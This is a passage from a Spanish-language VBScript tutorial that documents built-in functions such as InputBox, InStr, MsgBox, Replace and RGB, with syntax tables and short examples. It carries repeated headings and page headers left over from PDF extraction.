Dim MiHoraCompleta, MiHora MiHoraCompleta = Now MiHora = Hour(MiHoraCompleta) ' MiHora contiene el número ' que representa la hora actual.

Función InputBoxFunción InputBoxFunción InputBoxFunción InputBox

Descripción

Muestra una solicitud en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto.

Sintaxis

InputBox(solicitud[, título][, predeterminado][, posx][, posy][, archivodeayuda, contexto])

La sintaxis de la función InputBox tiene los siguientes argumentos:

Parte Descripción

solicitud Expresión de cadena mostrada como mensaje en el cuadro de diálogo. La longitud máxima de solicitud es, aproximadamente, 1024 caracteres, dependiendo del ancho de los caracteres usados. Si solicitud consta de más de una línea, puede separar las líneas con un carácter de retorno de carro (Chr(13)), un carácter de avance de línea (Chr(10)) o la combinación de retorno de carro y avance de línea (Chr(13) & Chr( 10)) entre cada línea.

título Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Si omite título, el nombre de la aplicación se muestra en la barra de título.

predeterminado Expresión de cadena en el cuadro de texto que aparece como respuesta predeterminada si no se proporciona ningún otro texto. Si omite predeterminado, el cuadro de texto se muestra vacío.

posx Expresión numérica que especifica, en twips, la distancia horizontal desde el borde izquierdo del cuadro de diálogo hasta el borde izquierdo de la pantalla. Si se omite posx, el cuadro de diálogo se centra horizontalmente.

posy Expresión numérica que especifica, en twips, la distancia vertical desde el borde superior del cuadro de diálogo hasta el borde superior de la pantalla. Si se omite posy, el cuadro de diálogo se centra verticalmente, aproximadamente a la altura de un tercio de la pantalla.

archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda contextual para el cuadro de diálogo. Si se proporciona archivodeayuda, también se debe

Page 39: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 39

proporcionar contexto.

contexto Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la Ayuda al tema de Ayuda adecuado. Si se proporciona contexto, también se debe proporcionar archivodeayuda.

Comentarios

Cuando se proporcionan archivodeayuda y contexto, se agrega, automáticamente, un botón de Ayuda al cuadro de diálogo.

Si el usuario hace clic en Aceptar o si presiona ENTRAR, la función InputBox devuelve lo que esté en el cuadro de texto. Si el usuario hace clic en Cancelar, la función devuelve una cadena de longitud cero ("").

El siguiente ejemplo usa la función InputBox para mostrar un cuadro de entrada y asigna la cadena a la variable Entrada:

Dim Entrada Entrada = InputBox("Escriba su nombre") MsgBox ("Escribió: " & Entrada)

Función InStrFunción InStrFunción InStrFunción InStr

Descripción

Devuelve la posición de la primera coincidencia de una cadena dentro de otra.

Sintaxis

InStr([inicio, ]cadena1, cadena2[, comparación])

La sintaxis de la función InStr tiene los siguientes argumentos:

Parte Descripción

inicio Opcional. Expresión numéricaque establece la posición inicial para cada búsqueda. Si se omite, la búsqueda comienza en la posición del primer carácter. Si inicio contiene Null , se produce un erro. El argumento inicio se requiere si se especifica comparación.

cadena1 Requerido. Expresión de cadena en la que se busca.

cadena2 Requerido. Expresión de cadena buscada.

comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, se realiza una comparación binaria.

Valores

El argumento comparación puede tener los siguientes valores:

Constante Valor Descripción

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Valores devueltos

Page 40: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 40

La función InStr devuelve los siguientes valores:

Si InStr devuelve

cadena1 es de longitud cero 0

cadena1 es Null Null

cadena2 es de longitud cero inicio

cadena2 es Null Null

cadena2 no se encuentra 0

cadena2 se encuentra dentro de cadena1 Posición en la que se encuentra la coincidencia

inicio > Len(cadena2) 0

Comentarios

Los siguientes ejemplos usan InStr para buscar una cadena: Dim CadenaBusqueda, CaracterBusqueda, MiPos CadenaBusqueda ="XXpXXpXXPXXP" ' Cadena en la que se busca. CaracterBusqueda = "P" ' Buscar "P". MiPos = Instr(4, CadenaBusqueda, CaracterBusqueda, 1) ' Una comparación de texto que comienza en la ' posición 4. Devuelve 6. MiPos = Instr(1, CadenaBusqueda, CaracterBusqueda, 0) ' Una comparación binaria que comienza en la ' posición 1. Devuelve 9. MiPos = Instr(CadenaBusqueda, CaracterBusqueda) ' Devuelve 9. ' Una comparación es binaria de forma predeterminada ' (se omite el último argumento). Devuelve 9. MiPos = Instr(1, CadenaBusqueda, "W") ' Una comparación binaria empieza en la posición 1. ' Devuelve 0 ("W" no se encuentra). Nota La función InStrB se usa con los datos de tipo Byte contenidos en una cadena. En lugar de devolver la posición del carácter de la primera coincidencia de una cadena dentro de otra, InStrB devuelve la posición del byte.

Función InStrRevFunción InStrRevFunción InStrRevFunción InStrRev

Descripción

Devuelve la posición de una coincidencia de una cadena en otra, desde el final de la cadena.

Sintaxis

InStrRev(cadena1, cadena2[, inicio[, comparación]])

La sintaxis de la función InStrRev tiene las siguientes partes:

Parte Descripción

cadena1 Requerido. Expresión de cadena en la que se busca.

cadena2 Requerido. Expresión de cadena que se busca.

inicio Opcional. Expresión numérica que establece el punto inicial de cada búsqueda. Si se omite, se usa -1, que significa que la búsqueda comienza en la posición del último carácter. Si inicio contiene Null , se produce un error.

Page 41: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 41

comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. Si se omite, se realiza una comparación binaria. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento comparación puede tener los siguientes valores:

Constante Valor Descripción

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Valores devueltos

InStrRev devuelve los siguientes valores:

Si InStrRev devuelve

cadena1 es de longitud cero 0

cadena1 es Null Null

cadena2 es de longitud cero inicio

cadena2 es Null Null

cadena2 no se encuentra 0

cadena2 se encuentra dentro de cadena1 Posición en la que se encuentra la coincidencia

inicio > Len(cadena2) 0

Comentarios

Los siguientes ejemplos usan la función InStrRevpara buscar una cadena: Dim CadenaBusqueda, CaracterBusqueda, MiPos CadenaBusqueda ="XXpXXpXXPXXP" ' Cadena en la que se va a buscar. CaracterBusqueda = "P" ' Buscar "P". MiPos = InstrRev(CadenaBusqueda, CaracterBusqueda, 10, 0) ' Una comparación binaria que comienza en la ' posición 10. Devuelve 9. MiPos = InstrRev(CadenaBusqueda, CaracterBusqueda, -1, 1) ' Una comparación de texto que comienza en ' la última posición. Devuelve 12. MiPos = InstrRev(CadenaBusqueda, CaracterBusqueda, 8) ' Una comparación es binaria de forma predeterminada (se omite ' el último argumento). Devuelve 0. Nota La sintaxis de la función InStrRev no es igual a la sintaxis de la función InStr.

Función IsArrayFunción IsArrayFunción IsArrayFunción IsArray

Descripción

Devuelve un valor de tipo Boolean que indica si una variable es o no una matriz.

Sintaxis

Page 42: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 42

IsArray(nombredevariable)

El argumento nombredevariable puede ser cualquier variable.

Comentarios

IsArray devuelve True si la variable es una matriz. De lo contrario, devuelve False. IsArray es especialmente útil con datos de tipo Variant que contienen matrices.

El siguiente ejemplo usa la función IsArray para verificar si MiVariable es una matriz:

Dim MiVariable Dim MiMatriz(3) MiMatriz(0) = "Domingo" MiMatriz(1) = "Lunes" MiMatriz(2) = "Martes" MiVariable = IsArray(MiMatriz) ' MiVariable contiene "True".

Función IsDateFunción IsDateFunción IsDateFunción IsDate

Descripción

Devuelve un valor de tipo Boolean que indica si una expresión se puede o no convertir en una fecha.

Sintaxis

IsDate(expresión)

El argumento expresión puede ser cualquier expresión de fecha o expresión de cadena reconocible como fecha u hora.

Comentarios

IsDate devuelve True si la expresión es una fecha o si se puede convertir en una fecha válida. De lo contrario, devuelve False. En Microsoft Windows, el intervalo válido de fechas es desde el 1 de enero del año 100 hasta el 31 de diciembre del año 9999; los intervalos varían según el sistema operativo.

El siguiente ejemplo usa la función IsDate para determinar si una expresión se puede o no convertir en una fecha:

Dim MiFecha, SuFecha, NingunaFecha, MiComprobacion MiFecha = "October 19, 1962": SuFecha = #10/19/62#: NingunaFecha = "Hola" MiComprobacion = IsDate(MiFecha) ' Devuelve True. MiComprobacion = IsDate(SuFecha) ' Devuelve True. MiComprobacion = IsDate(NingunaFecha) ' Devuelve False.

Función IsEmptyFunción IsEmptyFunción IsEmptyFunción IsEmpty

Descripción

Devuelve un valor de tipo Boolean que indica si una variable está iniciada.

Sintaxis

IsEmpty(expresión)

Page 43: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 43

El argumento expresión puede ser cualquier expresión. Sin embargo, como IsEmpty se usa para determinar si están iniciadas variables individuales, con frecuencia el argumento expresión es un único nombre de variable.

Comentarios

IsEmpty devuelve True si la variable no está iniciada o si está establecida, explícitamente, a Empty. De lo contrario, devuelve False. Siempre se devuelve False si expresión contiene más de una variable.

El siguiente ejemplo usa la función IsEmpty para determinar si una variable está iniciada:

Dim MiVar, MiComprobacion MiComprobacion = IsEmpty(MiVar) ' Devuelve True. MiVar = Null ' Asigna Null. MiComprobacion = IsEmpty(MiVar) ' Devuelve False. MiVar = Empty ' Asigna Empty. MiComprobacion = IsEmpty(MiVar) ' Devuelve True.

Función IsNullFunción IsNullFunción IsNullFunción IsNull

Descripción

Devuelve un valor de tipo Boolean que indica si una expresión contiene o no datos válidos (Null).

Sintaxis

IsNull(expresión)

El argumento expresión puede ser cualquier expresión.

Comentarios

IsNull devuelve True si expresión es Null, es decir, si contiene datos no válidos. De lo contrario, IsNull devuelve False. Si expresión consta de más de una variable, Null en cualquier variable hace que se devuelva True para la expresión completa.

El valor Null indica que la variable contiene datos no válidos. Null no es igual que Empty, que indica que una variable aún no está iniciada. Tampoco es igual que una cadena de longitud cero (""), también conocida como cadena nula.

Importante Use la función IsNull para determinar si una expresión contiene o no un valor Null. Expresiones que bajo algunas circunstancias esperaría que fuesen igual a True, como If Var = Null o If Var <> Null, siempre son iguales a False. Esto se debe a que cualquier expresión que contiene Null es igual a Null y es, por lo tanto, igual a False.

El siguiente ejemplo usa la función IsNull para determinar si una variable contiene Null:

Dim MiVar, MiComprobacion MiComprobacion = IsNull(MiVar) ' Devuelve False. MiVar = Null ' Asigna Null. MiComprobacion = IsNull(MiVar) ' Devuelve True. MiVar = Empty ' Asigna Empty. MiComprobacion = IsNull(MiVar) ' Devuelve False.

Función IsNumericFunción IsNumericFunción IsNumericFunción IsNumeric

Page 44: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 44

Descripción

Devuelve un valor de tipo Boolean que indica si una expresión se puede evaluar como un número.

Sintaxis

IsNumeric(expresión)

El argumento expresión puede ser cualquier expresión.

Comentarios

IsNumeric devuelve True si toda la expresión se reconoce como un número. De lo contrario, devuelve False. IsNumeric devuelve False si expresión es una expresión de fecha.

El siguiente ejemplo usa la función IsNumeric para determinar si una variable se puede evaluar como un número:

Dim MiVar, MiComprobacion MiVar = 53 ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve True. MiVar = "459.95" ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve True. MiVar = "45 Help" ' Asigna un valor. MiComprobacion = IsNumeric(MiVar) ' Devuelve False.

Función IsObjectFunción IsObjectFunción IsObjectFunción IsObject

Descripción

Devuelve un valor de tipo Boolean que indica si una expresión hace referencia a un objeto de Automatización válido.

Sintaxis

IsObject(expresión)

El argumento expresión puede ser cualquier expresión.

Comentarios

IsObject devuelve True si expresión es una variable del subtipo Object o un objeto definido por el usuario. De lo contrario, devuelve False.

El siguiente ejemplo usa la función IsObject para determinar si un identificador representa una variable de objeto:

Dim MiEntero, MiComprobacion, MiObjeto Set MiObjeto = Me MiComprobacion = IsObject(MiObjeto) ' Devuelve True. MiComprobacion = IsObject(MiEntero) ' Devuelve False.

Función JoinFunción JoinFunción JoinFunción Join

Descripción

Page 45: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 45

Devuelve una cadena creada mediante la unión de varias subcadenas contenidas en una matriz.

Sintaxis

Join(lista[, delimitador])

La sintaxis de la función Join tiene las siguientes partes:

Parte Descripción

lista Requerido. Matriz unidimensional que contiene las subcadenas que se van a unir.

delimitador Opcional. Carácter de cadena que se usa para separar las subcadenas de la cadena devuelta. Si se omite se usa el carácter de espacio (" "). Si delimitador es una cadena de longitud cero, se concatenan todos los elementos de la lista sin ningún delimitador.

Comentarios

El siguiente ejemplo usa la función Join para unir las subcadenas de MiMatriz: Dim MiCadena Dim MiMatriz(4) MiMatriz(0) = "Sr." MiMatriz(1) = "Luis " MiMatriz(2) = "Gullermo " MiMatriz(3) = "Romero " MiCadena = Join(MiMatriz) ' MiCadena contiene "Sr. Luis Guillermo Romero".

Función LBoundFunción LBoundFunción LBoundFunción LBound

Descripción

Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.

Sintaxis

LBound(nombredematriz[, dimensión])

La sintaxis de la función LBound tiene las siguientes partes:

Parte Descripción

nombredematriz Nombre de la variable de matriz, que cumple con las convenciones estándar de asignación de nombres de variables.

dimensión Número entero que indica de qué dimensión se devuelve el límite inferior. Use 1 para la primera dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se asume 1.

Comentarios

La función LBound se usa con la función UBound para determinar el tamaño de una matriz. Use la función UBound para buscar el límite superior de una dimensión de una matriz.

El límite inferior para cualquier dimensión siempre es 0.

Función Función Función Función LCaseLCaseLCaseLCase

Page 46: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 46

Descripción

Devuelve una cadena convertida a minúsculas.

Sintaxis

LCase(cadena)

El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.

Comentarios

Sólo se convierten a minúsculas las letras en mayúsculas; todas las letras en minúsculas y caracteres que no son letras no cambian. El siguiente ejemplo usa la función LCase para convertir letras mayúsculas en minúsculas: Dim MiCadena Dim LCaseString MiCadena = "VBSCript" LCaseString = LCase(MiCadena) ' LCaseString contiene "vbscript".

Función LeftFunción LeftFunción LeftFunción Left

Descripción

Devuelve un número de caracteres especificado a partir del lado izquierdo de una cadena.

Sintaxis

Left(cadena, longitud)

La sintaxis de la función Left tiene los siguientes argumentos:

Parte Descripción

cadena Expresión de cadena a partir de la que se devuelven los caracteres que están más a la izquierda. Si cadena contiene Null , se devuelve Null .

longitud Expresión numérica que indica cuántos caracteres se van a devolver. Si es igual a 0, se devuelve una cadena de longitud cero (""). Si es mayor o igual al número de caracteres de cadena, se devuelve la cadena completa.

Comentarios

Para determinar el número de caracteres que contiene cadena, use la función Len.

El siguiente ejemplo usa la función Left para devolver los primeros tres caracteres de MiCadena:

Dim MiCadena, CadenaIzquierda MiCadena = "VBSCript" CadenaIzquierda = Left(MiCadena, 3) ' CadenaIzquierda contiene "VBS". Nota La función LeftB se usa con los datos de Byte contenidos en una cadena. En lugar de especificar el número de caracteres que se van a devolver, longitud especifica el número de bytes.

Page 47: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 47

Función LenFunción LenFunción LenFunción Len

Descripción

Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable.

Sintaxis

Len(cadena | nombredevariable)

La sintaxis de la función Len tiene las siguientes partes:

Parte Descripción

cadena Cualquier expresión de cadena válida. Si cadena contiene Null , se devuelve Null .

nombredevariable Cualquier nombre de variable válido. Si nombrevariable contiene Null , se devuelve Null .

Comentarios

En el siguiente ejemplo se usa la función Len para devolver el número de caracteres que contiene una cadena: Dim MiCadena MiCadena = Len("VBSCRIPT") ' MiCadena contiene 8. Nota La función LenB se usa con los datos de byte contenidos en una cadena. En lugar de devolver un número de caracteres en una cadena, LenB devuelve el número de bytes usados para representar dicha cadena.

Función LoadPictureFunción LoadPictureFunción LoadPictureFunción LoadPicture

Descripción

Devuelve un objeto de imagen. Sólo está disponible en plataformas de 32 bits.

Sintaxis

LoadPicture(nombredeimagen)

El argumento nombredeimagen es una expresión de cadena que indica el nombre del archivo de imagen que se va a cargar.

Comentarios

Los formatos gráficos reconocidos por LoadPicture incluyen archivos de mapa de bits (.bmp), archivos de iconos (.ico), archivos cifrados de longitud continua (.rle), metaarchivos (.wmf), metaarchivos mejorados (.emf), archivos GIF (.gif) y archivos JPEG (.jpg).

Función LogFunción LogFunción LogFunción Log

Page 48: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 48

Descripción

Devuelve el logaritmo natural de un número.

Sintaxis

Log(número)

El argumento número puede ser cualquier expresión numérica válida mayor que 0.

Comentarios

El logaritmo natural es el logaritmo base e. La constante e es aproximadamente igual a 2.718282.

Puede calcular logaritmos base n de cualquier número x si divide el logaritmo natural de x por el logaritmo natural de n como se muestra a continuación:

Logn(x) = Log(x) / Log(n) El siguiente ejemplo muestra una función personalizada que calcula logaritmos base 10: Function Log10(X) Log10 = Log(X) / Log(10) End Function

Funciones LTrim, RTrim y TrimFunciones LTrim, RTrim y TrimFunciones LTrim, RTrim y TrimFunciones LTrim, RTrim y Trim

Descripción

Devuelve una copia de una cadena sin espacios iniciales (LTrim), espacios finales (RTrim) o ambos (Trim).

Sintaxis

LTrim(cadena)

RTrim(cadena)

Trim(cadena)

El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.

Comentarios

Los siguientes ejemplos usan las funciones LTrim, RTrim y Trim para recortar espacios iniciales, espacios finales y ambos, respectivamente: Dim MiVar MiVar = LTrim(" vbscript ") ' MiVar contiene "vbscript ". MiVar = RTrim(" vbscript ") ' MiVar contiene " vbscript". MiVar = Trim(" vbscript ") ' MiVar contiene "vbscript".

Función MidFunción MidFunción MidFunción Mid

Descripción

Devuelve un números especificado de caracteres a partir de una cadena.

Page 49: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 49

Sintaxis

Mid(cadena, inicio[, longitud])

La sintaxis de la función Mid tiene los siguientes argumentos:

Parte Descripción

cadena Expresión de cadena a partir de la que se devuelven los caracteres. Si cadena contiene Null , se devuelve Null .

inicio Posición de carácter en cadena en la que comienza la parte que se va a obtener. Si inicio es mayor que el número de caracteres que hay en cadena, Mid devuelve una cadena de longitud cero ("").

longitud Número de caracteres que se va a devolver. Si se omite o si hay menos caracteres que longitud en el texto (incluido el carácter que está en la posición inicio), se devuelven todos los caracteres desde la posición inicio hasta el final de la cadena.

Comentarios

Para determinar el número de caracteres que hay en cadena, use la función Len.

El siguiente ejemplo usa la función Mid para devolver seis caracteres, comenzando en el cuarto carácter, en una cadena:

Dim MiVar MiVar = Mid("VB Script es divertido", 4, 6) ' MiVar contiene "Script". Nota La función MidB se usa con los datos de byte contenidos en una cadena. En lugar de especificar el número de caracteres, los argumentos especifican el número de bytes.

Función MinuteFunción MinuteFunción MinuteFunción Minute

Descripción

Devuelve un número entero entre 0 y 59, ambos incluidos, que representa el minuto de la hora.

Sintaxis

Minute(hora)

El argumento hora es cualquier expresión que puede representar una hora. Si hora contiene Null, se devuelve Null.

Comentarios

El siguiente ejemplo usa la función Minute para devolver el minuto de la hora: Dim MiVar MiVar = Minute(Now)

Función MonthFunción MonthFunción MonthFunción Month

Descripción

Devuelve un número entero entre 1 y 12, ambos incluidos, que representa el mes del año.

Sintaxis

Page 50: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 50

Month(fecha)

El argumento fecha es cualquier expresión que pueda representar una fecha. Si fecha contien Null, se devuelve Null.

Comentarios

El siguiente ejemplo usa la función Mes para devolver el mes actual: Dim MiVar MiVar = Month(Now) ' MiVar contiene el número correspondiente ' al mes actual.

Función MonthNameFunción MonthNameFunción MonthNameFunción MonthName

Descripción

Devuelve una cadena que indica el mes especificado.

Sintaxis

MonthName(mes[, abreviar])

La sintaxis de la función MonthName tiene las siguientes partes:

Parte Descripción

mes Requerido. La designación numérica del mes. Por ejemplo, enero es 1, febrero es 2 y así sucesivamente.

abreviar Opcional. Valor de tipo Boolean que indica si el nombre del mes se debe abreviar. Si se omite, el valor predeterminado es False, que significa que el nombre del mes no se debe abreviar.

Comentarios

El siguiente ejemplo usa la función MonthName para devolver un nombre de mes abreviado para una expresión de fecha: Dim MiVar MiVar = MonthName(10, True) ' MiVar contiene "Oct".

Función MsgBoxFunción MsgBoxFunción MsgBoxFunción MsgBox

Descripción

Muestra un mensaje en un cuadro de diálogo, espera a que el usuario haga clic en un botón y devuelve un valor que indica en qué botón hizo clic el usuario.

Sintaxis

MsgBox(solicitud[, botones][, título][, archivodeayuda, contexto])

La sintaxis de la función MsgBox tiene los siguientes argumentos:

Parte Descripción

solicitud Expresión de cadena que se muestra como mensaje en el cuadro de diálogo. La longitud máxima de solicitud es aproximadamente igual a 1024 caracteres, según el ancho de los caracteres usados.

Page 51: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 51

Si solicitud consta de más de una línea, puede seperar las líneas con un carácter de retorno de carro (Chr(13)), un carácter de avance de línea (Chr(10)) o la combinación de caracteres de retorno de carro y avance de línea (Chr(13) y Chr(10)) entre cada línea.

botones Expresión numérica que es igual a la suma de los valores que especifican la cantidad y el tipo de botones que se van a mostrar, el estilo de icono que se va a usar, la identidad del botón predeterminado y el modo de cuadro de diálogo. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, el valor predeterminado de botones es 0.

título Expresión de cadena que se muestra en la barra de título del cuadro de diálogo. Si omite título, el nombre de la aplicación aparece en la barra de título.

archivodeayuda Expresión de cadena que identifica el archivo de Ayuda que se va a usar para proporcionar Ayuda contextual para el cuadro de diálogo. Si se proporciona archivodeayuda, también se debe proporcionar contexto. No está disponible en plataformas de 16 bits.

contexto Expresión numérica que identifica el número de contexto de Ayuda asignado por el creador de la Ayuda al tema de Ayuda adecuado. Si se proporciona contexto, también se debe proporcionar archivodeayuda. No está disponible en plataformas de 16 bits.

Valores

Los valores del argumento botones son:

Constante Valor Descripción

vbOKOnly 0 Sólo muestra el botón Aceptar.

vbOKCancel 1 Muestra los botones Aceptar y Cancelar.

vbAbortRetryIgnore 2 Muestra los botones Anular , Reintentar e Ignorar .

vbYesNoCancel 3 muestra los botones Sí, No y Cancelar.

vbYesNo 4 Muestra los botones Sí y No.

vbRetryCancel 5 Muestra los botones Reintentar y Cancelar.

vbCritical 16 Muestra el icono de mensaje crítico.

vbQuestion 32 Muestra el icono de consulta de advertencia.

vbExclamation 48 Muestra el icono de mensaje de advertencia.

vbInformation 64 Muestra el icono de mensaje de información.

vbDefaultButton1 0 El primer botón es el botón predeterminado.

vbDefaultButton2 256 El segundo botón es el botón predeterminado.

vbDefaultButton3 512 El tercer botón es el botón predeterminado.

vbDefaultButton4 768 El cuarto botón es el botón predeterminado.

vbApplicationModal 0 Aplicación modal; el usuario debe responder al cuadro de mensaje antes de seguir trabajando en la aplicación actual.

vbSystemModal 4096 Sistema modal; todas las aplicaciones se suspenden hasta que el usuario responde al cuadro de mensaje.

El primer grupo de valores (0 a 5) describe el número y el tipo de botones mostrados en el cuadro de diálogo; el segundo grupo (16, 32, 48, 64) describe el estilo de iconos; el tercer grupo (0, 256, 512, 768) determina cuál es el botón predeterminado y el cuarto grupo (0, 4096) determina el modo del cuadro de mensaje. Al sumar números para crear un valor final para el argumento botones, use sólo un número de cada grupo.

Valores devueltos

La función MsgBox devuelve los siguientes valores:

Page 52: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 52

Constante Valor Botón

vbOK 1 Aceptar

vbCancel 2 Cancelar

vbAbort 3 Anular

vbRetry 4 Reintentar

vbIgnore 5 Ignorar

vbYes 6 Sí

vbNo 7 No

Comentarios

Cuando se proporcionan archivodeayuda y contexto, el usuario puede presionar F1 para ver el tema de Ayuda que corresponde al contexto.

Si el cuadro de diálog muestra un botón Cancelar, si presiona la tecla ESC tiene el mismo efecto que si hace clic en Cancelar. Si el cuadro de diálogo contiene un botón Ayuda, se proporcionar Ayuda contextual para el cuadro de diálogo. Sin embargo, no se devuelve ningún valor hasta que no se presiona cualquiera de los otros botones.

El siguiente ejemplo usa la función MsgBox para mostrar un cuadro de mensaje y devolver un valor que describe qué botón se presionó:

Dim MiVar MiVar = MsgBox ("Hola mundo", 65, "Ejemplo de MsgBox")' MiVar contiene 1 o 2, ' según el botón en el que se haga ' clic.

Función NowFunción NowFunción NowFunción Now

Descripción

Devuelve la fecha y hora actuales según la configuración de la fecha y hora de su sistema.

Sintaxis

Now

Comentarios

El siguiente ejemplo usa la función Now para devolver la fecha y hora actuales: Dim MiVar MiVar = Now ' MiVar contiene la fecha y hora actuales.

Función OctFunción OctFunción OctFunción Oct

Descripción

Devuelve una cadena que representa el valor octal de un número.

Sintaxis

Page 53: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 53

Oct(número)

El argumento número es cualquier expresión válida.

Comentarios

Si número no es un número entero, se redondea al número entero más cercano antes de evaluarlo.

Si número es Oct devuelve

Null Null .

Empty Cero (0).

Cualquier otro número Hasta 11 caracteres octales,

Puede representar números octales directamente, precediendo los números del intervalo adecuado con &O. Por ejemplo, &O10 es la notación octal para el número 8 decimal.

El siguiente ejemplo usa la función Oct para devolver el valor octal de un número:

Dim MiOct MiOct = Oct(4) ' Devuelve 4. MiOct = Oct(8) ' Devuelve 10. MiOct = Oct(459) ' Devuelve 713.

Función ReplaceFunción ReplaceFunción ReplaceFunción Replace

Descripción

Devuelve una cadena en la que una subcadena especificada se reemplazó por otra subcadena un número de veces especificado.

Sintaxis

Replace(expresión, buscar, reemplazarcon[, inicio[, cuenta[, comparación]]])

La sintaxis de la función Replace tiene las siguientes partes:

Parte Descripción

expresión Requerido.Expresión de cadena que contiene la subcadena que se va a reemplazar.

buscar Requerido. Subcadena que se va a buscar.

reemplazarcon Requerido. Subcadena de reemplazo.

inicio Opcional. Posición dentro de expresión donde debe comenzar la búsqueda de la subcadena. Si se omite, se asume 1. Se debe usar junto con cuenta.

cuenta Opcional. Número de sustituciones de subcadenas que se van a realizar. Si se omite, el valor predeterminado es -1, que significa que deben hacer todas las sustituciones posibles. Se debe usar junto con inicio.

comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos. Si se omite, el valor predeterminado es 0, que significa que se debe realizar una comparación binaria.

Valores

El argumento comparación puede tener los siguientes valores:

Page 54: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 54

Constante Valor Descripción

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Valores devueltos

Replace devuelve los siguientes valores:

Si Replace devuelve

expresión es de longitud cero Cadena de longitud cero ("").

expresión es Null Un error.

buscar es de longitud cero Una copia de expresión.

reemplazarcon es de longitud cero Una copia de expresión con todas las coincidencias de buscar quitadas.

inicio > Len(expresión) Cadena de longitud cero.

cuenta is 0 Copia de expresión.

Comentarios

El valor devuelto por la función Replace es una cadena, con las sustituciones hechas, que comienza en la posición especificada por inicio y termina al final de la cadena expresión. No es una copia de la cadena original desde el inicio hasta el final.

El siguiente ejemplo usa la función Replace para devolver una cadena:

Dim MiCadena MiCadena = Replace("XXpXXPXXp", "p", "Y") ' Una comparación binaria ' que comienza en el principio de la cadena. Devuelve "XXYXXPXXY". MiCadena = Replace("XXpXXPXXp", "p", "Y", ' Una comparación de texto que comienza en la posición 3. ' Devuelve "YXXYXXY". 3, -1, 1)

FFFFunción RGBunción RGBunción RGBunción RGB

Descripción

Devuelve un número entero que representa un valor de un color RGB.

Sintaxis

RGB(rojo, verde, azul)

La función RGB tiene las siguientes partes:

Parte Descripción

rojo Requerido. Número en el intervalo entre 0 y 255 que representa el componente rojo del color.

verde Requerido. Número en el intervalo entre 0 y 255 que representa el componente verde del color.

azul Requerido. Número en el intervalo entre 0 y 255 que representa el componente azul del color.

Comentarios

Page 55: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 55

Los métodos y propiedades de aplicaciones que aceptan una especificación de color esperan que la especificación sea un número que represente un valor de un color RGB. Un valor de un color RGB especifica la intensidad relativa de rojo, verde y azul para producir la visualización de un color específico.

El byte menos significativo contiene el valor del rojo, el byte del medio contiene el valor del verde y el byte más significativo contiene el valor del azul.

Para aplicaciones que requieren que el orden de los bytes se invierta, la siguiente función proporcion la misma información con los bytes invertidos:

Function InvertirRGB(rojo, verde, azul) InvertirRGB= CLng(azul + (verde * 256) + (rojo * 65536)) End Function

Se asume que el valor de cualquier argumento RGB que exceda 255, es 255.

Función RightFunción RightFunción RightFunción Right

Descripción

Devuelve un número de caracteres especificado a partir del lado derecho de una cadena.

Sintaxis

Right(cadena, longitud)

La sintaxis de la función Right tiene los siguientes argumentos:

Parte Descripción

cadena Expresión de cadena desde la que se devuelven los caracteres que están más a la derecha. Si cadena contiene Null , se devuelve Null .

longitud Expresión numérica que indica cuántos caracteres se van a devolver. Si es igual a 0, se devuelve una cadena de longitud cero. Si es mayor o igual al número de caracteres que hay en cadena, se devuelve toda la cadena.

Comentarios

Para determinar el número de caracteres que hay en cadena, use la función Len.

El siguiente ejemplo usa la función Right para devolver un número especificado de caracteres a partir del lado derecho de una cadena:

Dim CualquierCadena, MiCad CualquierCadena = "Hola a todos" ' Define la cadena. MiCad = Right(CualquierCadena, 1) ' Devuelve "o". MiCad = Right(CualquierCadena, 6) ' Devuelve " todos". MiCad = Right(CualquierCadena, 20) ' Devuelve "Hola a todos". Nota La función RightB se usa con los datos de byte contenidos en una cadena. En lugar de especificar el número de caracteres que se deben devolver, longitud especifica el número de bytes.

